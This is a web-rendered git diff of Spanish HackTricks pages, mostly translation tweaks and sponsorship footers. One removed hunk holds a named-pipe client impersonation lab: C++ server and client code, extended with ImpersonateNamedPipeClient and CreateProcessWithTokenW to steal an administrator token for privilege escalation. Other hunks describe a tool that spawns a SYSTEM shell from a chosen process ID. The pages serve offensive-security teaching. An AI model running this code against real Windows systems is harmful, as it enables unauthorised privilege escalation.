Tenga en cuenta que, aunque este resumen tiene como objetivo proporcionar información valiosa, se recomienda consultar la publicación original para obtener detalles más completos e instrucciones precisas.
|
||||
|
||||
# Referencias
|
||||
* [https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)
|
||||
* [https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)
|
||||
[wixtools](http://wixtoolset.org)
|
||||
|
||||
|
||||
<details>
|
||||
|
@ -66,11 +78,10 @@ light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Impersonación del Cliente de Named Pipe
|
||||
# Impersonación de Cliente de Named Pipe
|
||||
|
||||
## Impersonación del Cliente de Named Pipe
|
||||
## Impersonación de Cliente de Named Pipe
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,181 +8,23 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Esta información fue copiada de** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
|
||||
|
||||
## Visión General
|
||||
|
||||
Un `pipe` es un bloque de memoria compartida que los procesos pueden usar para comunicarse e intercambiar datos.
|
||||
|
||||
`Named Pipes` es un mecanismo de Windows que permite a dos procesos no relacionados intercambiar datos entre sí, incluso si los procesos se encuentran en dos redes diferentes. Es muy similar a la arquitectura cliente/servidor ya que existen conceptos como `un servidor de named pipe` y un `cliente de named pipe`.
|
||||
|
||||
Un servidor de named pipe puede abrir un named pipe con algún nombre predefinido y luego un cliente de named pipe puede conectarse a ese pipe mediante el nombre conocido. Una vez que se establece la conexión, puede comenzar el intercambio de datos.
|
||||
|
||||
Este laboratorio se ocupa de un código PoC simple que permite:
|
||||
|
||||
* crear un servidor de named pipe tonto de un solo hilo que aceptará una conexión de cliente
|
||||
* servidor de named pipe para escribir un mensaje simple en el named pipe para que el cliente de pipe pueda leerlo
|
||||
|
||||
## Código
|
||||
|
||||
A continuación se muestra el PoC tanto para el servidor como para el cliente:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="namedPipeServer.cpp" %}
|
||||
```cpp
|
||||
#include "pch.h"
|
||||
#include <Windows.h>
|
||||
#include <iostream>
|
||||
|
||||
int main() {
|
||||
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
|
||||
LPVOID pipeBuffer = NULL;
|
||||
HANDLE serverPipe;
|
||||
DWORD readBytes = 0;
|
||||
DWORD readBuffer = 0;
|
||||
int err = 0;
|
||||
BOOL isPipeConnected;
|
||||
BOOL isPipeOpen;
|
||||
wchar_t message[] = L"HELL";
|
||||
DWORD messageLenght = lstrlen(message) * 2;
|
||||
DWORD bytesWritten = 0;
|
||||
|
||||
std::wcout << "Creating named pipe " << pipeName << std::endl;
|
||||
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
|
||||
|
||||
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
|
||||
if (isPipeConnected) {
|
||||
std::wcout << "Incoming connection to " << pipeName << std::endl;
|
||||
}
|
||||
|
||||
std::wcout << "Sending message: " << message << std::endl;
|
||||
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="namedPipeClient.cpp" %}
|
||||
```
|
||||
```cpp
|
||||
#include "pch.h"
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
|
||||
const int MESSAGE_SIZE = 512;
|
||||
|
||||
int main()
|
||||
{
|
||||
LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
|
||||
HANDLE clientPipe = NULL;
|
||||
BOOL isPipeRead = true;
|
||||
wchar_t message[MESSAGE_SIZE] = { 0 };
|
||||
DWORD bytesRead = 0;
|
||||
|
||||
std::wcout << "Connecting to " << pipeName << std::endl;
|
||||
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
while (isPipeRead) {
|
||||
isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
|
||||
std::wcout << "Received message: " << message;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## Ejecución
|
||||
|
||||
A continuación se muestra el servidor de tubería con nombre y el cliente de tubería con nombre funcionando como se espera:
|
||||
|
||||
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png>)
|
||||
|
||||
Vale la pena mencionar que la comunicación de tuberías con nombre por defecto utiliza el protocolo SMB:
|
||||
|
||||
![](<../../.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png>)
|
||||
|
||||
Comprobando cómo el proceso mantiene un handle a nuestra tubería con nombre `mantvydas-first-pipe`:
|
||||
|
||||
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png>)
|
||||
|
||||
De manera similar, podemos ver al cliente teniendo un handle abierto a la tubería con nombre:
|
||||
|
||||
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png>)
|
||||
|
||||
Incluso podemos ver nuestra tubería con powershell:
|
||||
```csharp
|
||||
((Get-ChildItem \\.\pipe\).name)[-1..-5]
|
||||
```
|
||||
```markdown
|
||||
## Suplantación de Token
|
||||
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que para suplantar el token del proceso cliente necesitas tener (el proceso servidor que crea el pipe) el privilegio de token **`SeImpersonate`**.
|
||||
{% endhint %}
|
||||
|
||||
Es posible que el servidor de named pipe suplante el contexto de seguridad del cliente de named pipe aprovechando una llamada a la API `ImpersonateNamedPipeClient` que a su vez cambia el token del hilo actual del servidor de named pipe por el del token del cliente de named pipe.
|
||||
|
||||
Podemos actualizar el código del servidor de named pipe de esta manera para lograr la suplantación - observa que las modificaciones se ven en la línea 25 y siguientes:
|
||||
```
|
||||
```cpp
|
||||
int main() {
|
||||
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
|
||||
LPVOID pipeBuffer = NULL;
|
||||
HANDLE serverPipe;
|
||||
DWORD readBytes = 0;
|
||||
DWORD readBuffer = 0;
|
||||
int err = 0;
|
||||
BOOL isPipeConnected;
|
||||
BOOL isPipeOpen;
|
||||
wchar_t message[] = L"HELL";
|
||||
DWORD messageLenght = lstrlen(message) * 2;
|
||||
DWORD bytesWritten = 0;
|
||||
|
||||
std::wcout << "Creating named pipe " << pipeName << std::endl;
|
||||
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
|
||||
|
||||
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
|
||||
if (isPipeConnected) {
|
||||
std::wcout << "Incoming connection to " << pipeName << std::endl;
|
||||
}
|
||||
|
||||
std::wcout << "Sending message: " << message << std::endl;
|
||||
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
|
||||
|
||||
std::wcout << "Impersonating the client..." << std::endl;
|
||||
ImpersonateNamedPipeClient(serverPipe);
|
||||
err = GetLastError();
|
||||
|
||||
STARTUPINFO si = {};
|
||||
wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
|
||||
PROCESS_INFORMATION pi = {};
|
||||
HANDLE threadToken = GetCurrentThreadToken();
|
||||
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Ejecutando el servidor y conectándonos a él con el cliente que se ejecuta bajo el contexto de seguridad de administrator@offense.local, podemos ver que el hilo principal del servidor de tubería con nombre asumió el token del cliente de tubería con nombre - offense\administrator, aunque el PipeServer.exe en sí se está ejecutando bajo el contexto de seguridad de ws01\mantvydas. ¿Suena como una buena manera de escalar privilegios?
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras maneras de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Revisa: ** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -15,14 +15,15 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
## Código
|
||||
|
||||
El siguiente código fue copiado de [aquí](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Permite **indicar un ID de Proceso como argumento** y un CMD **ejecutándose como el usuario** del proceso indicado se ejecutará.\
|
||||
Ejecutándolo en un proceso de Alta Integridad puedes **indicar el PID de un proceso ejecutándose como Sistema** (como winlogon, wininit) y ejecutar un cmd.exe como sistema.
|
||||
El siguiente código de [aquí](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Permite **indicar un ID de Proceso como argumento** y un CMD **ejecutándose como el usuario** del proceso indicado se ejecutará.\
|
||||
Ejecutándose en un proceso de Alta Integridad puedes **indicar el PID de un proceso ejecutándose como Sistema** (como winlogon, wininit) y ejecutar un cmd.exe como sistema.
|
||||
```cpp
|
||||
impersonateuser.exe 1234
|
||||
```
|
||||
```cpp
|
||||
// impersonateuser.cpp
|
||||
```
|
||||
{% endcode %}
|
||||
```cpp
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
|
@ -155,7 +156,7 @@ return 0;
|
|||
|
||||
## Error
|
||||
|
||||
En algunas ocasiones, al intentar suplantar a System, puede que no funcione y se muestre un resultado como el siguiente:
|
||||
En algunas ocasiones, puedes intentar suplantar a System y no funcionará, mostrando un resultado como el siguiente:
|
||||
```cpp
|
||||
[+] OpenProcess() success!
|
||||
[+] OpenProcessToken() success!
|
||||
|
@ -170,7 +171,7 @@ Esto significa que incluso si estás ejecutando en un nivel de Integridad Alto *
|
|||
Vamos a verificar los permisos actuales del Administrador sobre los procesos de `svchost.exe` con **processes explorer** (o también puedes usar process hacker):
|
||||
|
||||
1. Selecciona un proceso de `svchost.exe`
|
||||
2. Clic derecho --> Propiedades
|
||||
2. Haz clic derecho --> Propiedades
|
||||
3. Dentro de la pestaña "Seguridad" haz clic en el botón "Permisos" que está en la parte inferior derecha
|
||||
4. Haz clic en "Avanzado"
|
||||
5. Selecciona "Administradores" y haz clic en "Editar"
|
||||
|
@ -194,10 +195,10 @@ Dentro de ese proceso "Administradores" pueden "Leer Memoria" y "Leer Permisos"
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue